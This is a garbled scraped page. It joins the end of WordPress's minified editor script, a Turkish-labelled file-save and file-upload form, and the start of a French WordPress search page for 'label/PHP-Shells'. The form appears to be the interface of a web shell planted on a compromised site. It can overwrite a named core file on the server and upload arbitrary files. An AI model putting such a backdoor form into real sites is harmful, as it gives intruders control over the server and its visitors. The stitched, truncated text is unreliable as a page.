Object.keys(n)){const t=o?.[i?.metadata?.name]?.[e];void 0!==t?a[e]=&quot;&quot;===t?void 0:t:a[e]=i[e]}return a},setValues({select:e,dispatch:t,clientId:s,bindings:n}){const{getBlockAttributes:o,getBlockParentsByBlockName:r,getBlocks:i}=e(g.store),a=o(s),l=a?.metadata?.name;if(!l)return;const[c]=r(s,&quot;core/block&quot;,!0),d=Object.entries(n).reduce(((e,[t,{newValue:s}])=&gt;(e[t]=s,e)),{});if(!c){const e=s=&gt;{for(const n of s)n.attributes?.metadata?.name===l&amp;&amp;t(g.store).updateBlockAttributes(n.clientId,d),e(n.innerBlocks)};return void e(i())}const u=o(c)?.[Oy];t(g.store).updateBlockAttributes(c,{[Oy]:{...u,[l]:{...u?.[l],...Object.entries(d).reduce(((e,[t,s])=&gt;(e[t]=void 0===s?&quot;&quot;:s,e)),{})}}})},canUserEditValue:()=&gt;!0};const Vy=[&quot;core/navigation-link&quot;,&quot;core/navigation-submenu&quot;],Uy=[{label:(0,fs.__)(&quot;Post Date&quot;),args:{field:&quot;date&quot;},type:&quot;string&quot;},{label:(0,fs.__)(&quot;Post Modified Date&quot;),args:{field:&quot;modified&quot;},type:&quot;string&quot;},{label:(0,fs.__)(&quot;Post Link&quot;),args:{field:&quot;link&quot;},type:&quot;string&quot;}];var Hy={name:&quot;core/post-data&quot;,getValues({select:e,context:t,bindings:s,clientId:n}){const o=Uy.map((e=&gt;e.args.field)),{getBlockAttributes:r,getBlockName:i}=e(g.store),a=i?.(n);let l,c;if(Vy.includes(a)){const e=r?.(n);l=e?.id,c=e?.type}else l=t?.postId,c=t?.postType;const{getEditedEntityRecord:d}=e(u.store),p=d(&quot;postType&quot;,c,l),m={};for(const[e,t]of Object.entries(s))o.includes(t.args.field)?m[e]=p?.[t.args.field]??Uy.find((e=&gt;e.args.field===t.args.field)).label:m[e]={};return m},setValues({dispatch:e,context:t,bindings:s,clientId:n,select:o}){const{getBlockName:r}=o(g.store),i=r?.(n);if(Vy.includes(i))return!1;const a={};Object.values(s).forEach((({args:e,newValue:t})=&gt;{a[e.field]=t})),e(u.store).editEntityRecord(&quot;postType&quot;,t?.postType,t?.postId,a)},canUserEditValue({select:e,context:t}){const{getBlockName:s,getSelectedBlockClientId:n}=e(g.store),o=n(),r=s?.(o);if(Vy.includes(r))return!1;if(t?.query||t?.queryId)return!1;if(!t?.postType)return!1;return!!e(u.store).canUser(&quot;update&quot;,{kind:&quot;postType&quot;,name:t?.postType,id:t?.postId})},getFieldsList({select:e}){const t=e(g.store).getSelectedBlock();return&quot;core/post-date&quot;!==t?.name||Vy.includes(t?.name)?[]:Uy}};function zy(e,t){const{getRegisteredPostMeta:s}=$(e(u.store)),n=s(t?.postType),o=[];return Object.entries(n).forEach((([e,t])=&gt;{&quot;footnotes&quot;!==e&amp;&amp;&quot;_&quot;!==e.charAt(0)&amp;&amp;o.push({label:t.title||e,args:{key:e},default:t.default,type:t.type})})),o}function Gy({select:e,context:t,args:s}){const n=zy(e,t).find((e=&gt;e.args.key===s.key));if(!n)return s.key;if(!t?.postId)return n.default||n.label||s.key;const{getEditedEntityRecord:o}=e(u.store),r=o(&quot;postType&quot;,t?.postType,t?.postId).meta;return r?.[s.key]??n?.label??s.key}var $y={name:&quot;core/post-meta&quot;,getValues({select:e,context:t,bindings:s}){const n={};for(const[o,r]of Object.entries(s))n[o]=Gy({select:e,context:t,args:r.args});return n},setValues({dispatch:e,context:t,bindings:s}){const n={};Object.values(s).forEach((({args:e,newValue:t})=&gt;{n[e.key]=t})),e(u.store).editEntityRecord(&quot;postType&quot;,t?.postType,t?.postId,{meta:n})},canUserEditValue({select:e,context:t,args:s}){if(t?.query||t?.queryId)return!1;if(!t?.postType)return!1;if(!zy(e,t).some((e=&gt;e.args.key===s.key)))return!1;if(e(vc).getEditorSettings().enableCustomFields)return!1;return!!e(u.store).canUser(&quot;update&quot;,{kind:&quot;postType&quot;,name:t?.postType,id:t?.postId})},getFieldsList:({select:e,context:t})=&gt;zy(e,t).map((({default:e,...t})=&gt;({...t})))};const Wy=[&quot;core/navigation-link&quot;,&quot;core/navigation-submenu&quot;];function Zy(e,t){return{id:{label:(0,fs.__)(&quot;Term ID&quot;),value:t,type:&quot;string&quot;},name:{label:(0,fs.__)(&quot;Name&quot;),value:e?.name,type:&quot;string&quot;},slug:{label:(0,fs.__)(&quot;Slug&quot;),value:e?.slug,type:&quot;string&quot;},link:{label:(0,fs.__)(&quot;Link&quot;),value:e?.link,type:&quot;string&quot;},description:{label:(0,fs.__)(&quot;Description&quot;),value:e?.description,type:&quot;string&quot;},parent:{label:(0,fs.__)(&quot;Parent ID&quot;),value:e?.parent,type:&quot;string&quot;},count:{label:(0,fs.__)(&quot;Count&quot;),value:`(${e?.count??0})`,type:&quot;string&quot;}}}function Yy(e,t,s){const{getEntityRecord:n}=e(u.store),{getBlockAttributes:o,getBlockName:r}=e(g.store);let i,a;const l=r?.(s);let c,d;if(Wy.includes(l)){const e=o?.(s);c=e?.id;const t=e?.type;d=&quot;tag&quot;===t?&quot;post_tag&quot;:t}else c=t?.termId,d=t?.taxonomy;return d&amp;&amp;c?(i=n(&quot;taxonomy&quot;,d,c),!i&amp;&amp;t?.termData&amp;&amp;(i=t.termData),i&amp;&amp;(a=Zy(i,c))):t?.termData&amp;&amp;(i=t.termData,a=Zy(i,i?.term_id)),a&amp;&amp;Object.keys(a).length?a:null}var qy={name:&quot;core/term-data&quot;,usesContext:[&quot;taxonomy&quot;,&quot;termId&quot;,&quot;termData&quot;],getValues({select:e,context:t,bindings:s,clientId:n}){const o=Yy(e,t,n),r={};for(const[e,t]of Object.entries(s)){const s=t.args.field,{value:n,label:i}=o?.[s]||{};r[e]=n??i??s}return r},setValues:({dispatch:e,context:t,bindings:s})=&gt;!1,canUserEditValue({select:e,context:t,args:s}){const{getBlockName:n,getSelectedBlockClientId:o}=e(g.store),r=o(),i=n?.(r);if(Wy.includes(i))return!1;if(t?.termQuery)return!1;if(!t?.taxonomy||!t?.termId)return!1;Yy(e,t,void 0)?.[s.field];return!1},getFieldsList({select:e,context:t}){const s=e(g.store).getSelectedBlockClientId(),n=Yy(e,t,s);return n?Object.entries(n).map((([e,t])=&gt;({label:t.label,type:t.type,args:{field:e}}))):[]}};const{store:Ky,...Qy}=i,Xy={};function Jy(e,t,s){const{registerEntityAction:n}=$((0,d.dispatch)(vc))}function ex(e,t,s){const{unregisterEntityAction:n}=$((0,d.dispatch)(vc))}function tx(e,t,s){const{registerEntityField:n}=$((0,d.dispatch)(vc))}function sx(e,t,s){const{unregisterEntityField:n}=$((0,d.dispatch)(vc))}G(Xy,{CreateTemplatePartModal:Jn,patternTitleField:ni,templateTitleField:Jr,BackButton:Xg,EntitiesSavedStatesExtensible:xd,Editor:Py,EditorContentSlotFill:Zg,GlobalStylesProvider:function({children:e}){const t=Ti();return t.isReady?(0,c.jsx)(Pi.Provider,{value:t,children:e}):null},mergeBaseAndUserConfigs:Ei,PluginPostExcerpt:lp,PostCardPanel:ff,PreferencesModal:function({extraSections:e={}}){const t=(0,d.useSelect)((e=&gt;e(ja).isModalActive(&quot;editor/preferences&quot;)),[]),{closeModal:s}=(0,d.useDispatch)(ja);return t?(0,c.jsx)(Ny,{closeModal:s,children:(0,c.jsx)(My,{extraSections:e})}):null},usePostActions:cf,usePostFields:Ly,ToolsMoreMenuGroup:u_,ViewMoreMenuGroup:h_,ResizableEditor:U_,registerCoreBlockBindingsSources:function(){(0,x.registerBlockBindingsSource)(Fy),(0,x.registerBlockBindingsSource)(Hy),(0,x.registerBlockBindingsSource)($y),(0,x.registerBlockBindingsSource)(qy)},getTemplateInfo:Y,interfaceStore:Ky,...Qy})})(),(window.wp=window.wp||{}).editor=n})();</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/alliancechretienne.bak/wp-includes/js/dist/editor.min.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d358792fe9*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form 